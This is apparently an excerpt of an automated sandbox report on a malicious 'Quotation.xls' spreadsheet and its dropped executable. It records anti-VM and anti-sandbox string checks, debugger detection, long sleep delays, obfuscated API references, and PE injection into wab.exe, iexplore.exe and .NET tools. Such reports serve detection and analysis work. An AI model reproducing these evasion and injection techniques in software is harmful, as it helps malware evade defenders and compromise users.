              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess information set: NOOPENFILEERRORBOX
              Source: Quotation.xlsStream path 'MBD00067332/Package' entropy: 7.95930606078 (max. 8.0)
              Source: Quotation.xlsStream path 'Workbook' entropy: 7.99696403947 (max. 8.0)
              Source: ~DF8DC96169C38B008D.TMP.0.drStream path 'Package' entropy: 7.94616610794 (max. 8.0)
              Source: 8C130000.0.drStream path 'MBD00067332/Package' entropy: 7.94616610794 (max. 8.0)
              Source: 8C130000.0.drStream path 'Workbook' entropy: 7.99837846077 (max. 8.0)

              Malware Analysis System Evasion

              barindex
              Yara detected AntiVM3
              Source: Yara matchFile source: Process Memory Space: igccu.exe PID: 3244, type: MEMORYSTR
              Delayed program exit found
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0040F7A7 Sleep,ExitProcess,15_2_0040F7A7
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0040F7A7 Sleep,ExitProcess,27_2_0040F7A7
              Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
              Source: igccu.exe, 0000000A.00000002.454343233.0000000002660000.00000004.00000800.00020000.00000000.sdmp, igccu.exe, 00000019.00000002.492194886.00000000022EF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: WINE_GET_UNIX_FILE_NAME
              Source: igccu.exe, 0000000A.00000002.454343233.0000000002660000.00000004.00000800.00020000.00000000.sdmp, igccu.exe, 00000019.00000002.492194886.00000000022EF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SBIEDLL.DLL
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory allocated: 440000 memory reserve | memory write watchJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory allocated: 1A2B0000 memory reserve | memory write watchJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory allocated: 240000 memory reserve | memory write watch
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory allocated: 1A2B0000 memory reserve | memory write watch
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,15_2_0041A748
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: OpenSCManagerA,EnumServicesStatusW,GetLastError,EnumServicesStatusW,OpenServiceW,QueryServiceConfigW,GetLastError,QueryServiceConfigW,CloseServiceHandle,CloseServiceHandle,27_2_0041A748
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 2340Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7563Jump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeWindow / User API: threadDelayed 2788Jump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exeWindow / User API: threadDelayed 7197Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1920
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3748
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\czjog1ic\czjog1ic.dllJump to dropped file
              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsccvpb0\nsccvpb0.dllJump to dropped file
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeAPI coverage: 6.9 %
              Source: C:\Windows\System32\mshta.exe TID: 2452Thread sleep time: -360000s >= -30000sJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1848Thread sleep count: 2340 > 30Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1848Thread sleep count: 7563 > 30Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3100Thread sleep time: -120000s >= -30000sJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3108Thread sleep time: -1844674407370954s >= -30000sJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 3376Thread sleep count: 2788 > 30Jump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 3376Thread sleep time: -8364000s >= -30000sJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 3468Thread sleep time: -60000s >= -30000sJump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 3376Thread sleep count: 7197 > 30Jump to behavior
              Source: C:\Program Files (x86)\Windows Mail\wab.exe TID: 3376Thread sleep time: -21591000s >= -30000sJump to behavior
              Source: C:\Windows\System32\mshta.exe TID: 3592Thread sleep time: -300000s >= -30000sJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3724Thread sleep count: 1920 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3724Thread sleep count: 3748 > 30
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3764Thread sleep time: -60000s >= -30000s
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3768Thread sleep time: -2767011611056431s >= -30000s
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,15_2_00409253
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,15_2_0041C291
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,15_2_0040C34D
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,15_2_00409665
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0044E879 FindFirstFileExA,15_2_0044E879
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,15_2_0040880C
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0040783C FindFirstFileW,FindNextFileW,15_2_0040783C
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,15_2_00419AF5
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,15_2_0040BB30
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,15_2_0040BD37
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_00409253 __EH_prolog,__CxxThrowException@8,FindFirstFileW,FindNextFileW,FindClose,FindClose,27_2_00409253
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0041C291 FindFirstFileW,FindNextFileW,RemoveDirectoryW,SetFileAttributesW,DeleteFileW,GetLastError,FindClose,RemoveDirectoryW,FindClose,27_2_0041C291
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0040C34D FindFirstFileW,PathFileExistsW,FindNextFileW,FindClose,FindClose,27_2_0040C34D
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_00409665 __EH_prolog,FindFirstFileW,FindNextFileW,FindClose,FindClose,27_2_00409665
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0044E879 FindFirstFileExA,27_2_0044E879
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0040880C __EH_prolog,FindFirstFileW,__CxxThrowException@8,FindNextFileW,FindClose,27_2_0040880C
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0040783C FindFirstFileW,FindNextFileW,27_2_0040783C
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_00419AF5 FindFirstFileW,FindNextFileW,FindNextFileW,27_2_00419AF5
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0040BB30 FindFirstFileA,FindClose,DeleteFileA,GetLastError,DeleteFileA,GetLastError,FindNextFileA,FindClose,27_2_0040BB30
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0040BD37 FindFirstFileA,FindClose,DeleteFileA,GetLastError,FindNextFileA,FindClose,FindClose,27_2_0040BD37
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00407C97 SetEvent,GetFileAttributesW,DeleteFileW,ShellExecuteW,GetLogicalDriveStringsA,SetFileAttributesW,DeleteFileA,Sleep,StrToIntA,CreateDirectoryW,15_2_00407C97
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: igccu.exe, 00000019.00000002.492194886.00000000022EF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMware
              Source: igccu.exe, 00000019.00000002.492194886.00000000022EF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:\WINDOWS\system32\drivers\vmmouse.sys
              Source: igccu.exe, 00000019.00000002.492194886.00000000022EF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vmware
              Source: igccu.exe, 00000019.00000002.492194886.00000000022EF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
              Source: igccu.exe, 00000019.00000002.492194886.00000000022EF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:\WINDOWS\system32\drivers\vmhgfs.sys
              Source: igccu.exe, 00000019.00000002.492194886.00000000022EF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
              Source: igccu.exe, 00000019.00000002.492194886.00000000022EF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMWARE
              Source: igccu.exe, 00000019.00000002.492194886.00000000022EF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\'C:\WINDOWS\system32\drivers\vmmouse.sys&C:\WINDOWS\system32\drivers\vmhgfs.sys
              Source: igccu.exe, 00000019.00000002.492194886.00000000022EF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: noValueButYesKey)C:\WINDOWS\system32\drivers\VBoxMouse.sys
              Source: igccu.exe, 00000019.00000002.492194886.00000000022EF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: C:\WINDOWS\system32\drivers\VBoxMouse.sys
              Source: igccu.exe, 00000019.00000002.492194886.00000000022EF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
              Source: igccu.exe, 00000019.00000002.492194886.00000000022EF000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMware SVGA II
              Source: C:\Program Files (x86)\Windows Mail\wab.exeAPI call chain: ExitProcess graph end nodegraph_15-49114
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess queried: DebugPortJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess queried: DebugPortJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess queried: DebugPort
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess queried: DebugPort
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,15_2_004349F9
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0041CB50 LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetModuleHandleA,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,GetModuleHandleA,GetProcAddress,GetModuleHandleA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,LoadLibraryA,GetProcAddress,15_2_0041CB50
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_004432B5 mov eax, dword ptr fs:[00000030h]15_2_004432B5
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_004432B5 mov eax, dword ptr fs:[00000030h]27_2_004432B5
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00412077 GetProcessHeap,HeapFree,15_2_00412077
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Users\user\AppData\Roaming\igccu.exeProcess token adjusted: Debug
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00434B47 SetUnhandledExceptionFilter,15_2_00434B47
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,15_2_004349F9
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_0043BB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,15_2_0043BB22
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00434FDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,15_2_00434FDC
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_004349F9 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,27_2_004349F9
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_00434B47 SetUnhandledExceptionFilter,27_2_00434B47
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_0043BB22 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,27_2_0043BB22
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: 27_2_00434FDC SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,27_2_00434FDC
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory allocated: page read and write | page guardJump to behavior

              HIPS / PFW / Operating System Protection Evasion

              barindex
              .NET source code references suspicious native API functions
              Source: csrss[1].exe.6.dr, ----------.csReference to suspicious API methods: GetProcAddress(_EC76_EE96_EC7C_EEF9_EE2B_EC8E_EE75_08F2_06FE_ECA8, _065F_EE5D_ECA9_08E6_08FF_EE72)
              Source: csrss[1].exe.6.dr, ----------.csReference to suspicious API methods: VirtualProtect(procAddress, (uint)_08EA_ECA7_EEB7_08D8_0610_EE34.Length, 64u, out var _EE22_EE28_ECBC_EE75_EE52_060F_EE7E_0654_EEC0_08DB_0618_08DE_ECBF)
              Source: csrss[1].exe.6.dr, ----------.csReference to suspicious API methods: LoadLibrary(_EE16_EE09_EE00_EE19_0E7C_EE4F_EE1C_060B_EEC8_EE24_EC73_EE87_EC73_EE3F_0E6B(_EC8E_EE42_ECBE_EECA_EECE_EE15_EE77_EE88_06DC_0EBB_ECA9_EE7E_EE24_EE50._EE53_EE0A))
              Allocates memory in foreign processes
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 400000 protect: page execute and read and writeJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory allocated: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base: 400000 protect: page execute and read and writeJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory allocated: C:\Program Files (x86)\Windows Mail\wab.exe base: 400000 protect: page execute and read and writeJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory allocated: C:\Program Files (x86)\Internet Explorer\iexplore.exe base: 400000 protect: page execute and read and write
              Injects a PE file into a foreign processes
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 400000 value starts with: 4D5AJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base: 400000 value starts with: 4D5AJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 400000 value starts with: 4D5AJump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Program Files (x86)\Internet Explorer\iexplore.exe base: 400000 value starts with: 4D5A
              Writes to foreign memory regions
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 400000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 401000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 459000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 471000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 477000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 478000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 479000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe base: 47E000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base: 400000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base: 401000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base: 459000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base: 471000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base: 477000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base: 478000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base: 479000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe base: 47E000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 400000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 401000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 459000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 471000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 477000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 478000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 479000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 47E000Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Program Files (x86)\Windows Mail\wab.exe base: 7EFDE008Jump to behavior
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Program Files (x86)\Internet Explorer\iexplore.exe base: 400000
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Program Files (x86)\Internet Explorer\iexplore.exe base: 401000
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Program Files (x86)\Internet Explorer\iexplore.exe base: 459000
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Program Files (x86)\Internet Explorer\iexplore.exe base: 471000
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Program Files (x86)\Internet Explorer\iexplore.exe base: 477000
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Program Files (x86)\Internet Explorer\iexplore.exe base: 478000
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Program Files (x86)\Internet Explorer\iexplore.exe base: 479000
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Program Files (x86)\Internet Explorer\iexplore.exe base: 47E000
              Source: C:\Users\user\AppData\Roaming\igccu.exeMemory written: C:\Program Files (x86)\Internet Explorer\iexplore.exe base: 7EFDE008
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe15_2_004120F7
              Source: C:\Program Files (x86)\Internet Explorer\iexplore.exeCode function: GetCurrentProcessId,OpenMutexA,CloseHandle,CreateThread,CloseHandle,Sleep,OpenProcess, svchost.exe27_2_004120F7
              Source: C:\Program Files (x86)\Windows Mail\wab.exeCode function: 15_2_00419627 mouse_event,15_2_00419627
